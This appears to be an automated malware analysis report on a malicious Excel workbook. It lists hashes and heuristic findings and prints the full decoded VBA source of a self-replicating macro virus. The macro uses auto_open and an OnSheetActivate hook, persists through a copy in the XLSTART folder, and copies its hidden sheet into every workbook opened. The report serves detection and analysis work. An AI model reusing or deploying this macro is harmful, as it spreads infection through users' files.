Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 824ef7f3a44484cd…

MALICIOUS

Office (OLE) / .XLS

27.5 KB Created: 2026-04-13 11:26:21 Authoring application: Microsoft Excel First seen: 2026-06-23
MD5: 9bb8fe5a7acd3253b53a85601048e905 SHA-1: d2596d995e292701e09b180208aad8eb0c6f3f71 SHA-256: 824ef7f3a44484cdc293be050569fdacd2bc8948ceda10d9913e0ece1d39e7e8
108 Risk Score

Heuristics 4

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
        ChDir Application.StartupPath
  • VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADER
    The macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.
    Matched line in script
        Application.OnSheetActivate = "check_files"
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1884 bytes
SHA-256: f31efdc8c3db583fceca3c3e9992dc263d26f180129ee77cef596b19d41f44c9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "foxz"


Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
    Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
Attribute check_files.VB_ProcData.VB_Invoke_Func = " \n14"
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "NEGS.XLS")
    If m$ = "NEGS.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
    
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("foxz").Visible = True
    Sheets("foxz").Select
    Sheets("foxz").Copy
    With ActiveWorkbook
        .title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = "infected by NEG Promo!"
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "NEGS.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("foxz").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "NEGS.XLS!check_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "foxz" Then
        Workbooks("NEGS.XLS").Sheets("foxz").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("foxz").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "NEGS.XLS!check_files"
    Case Else
End Select
End Sub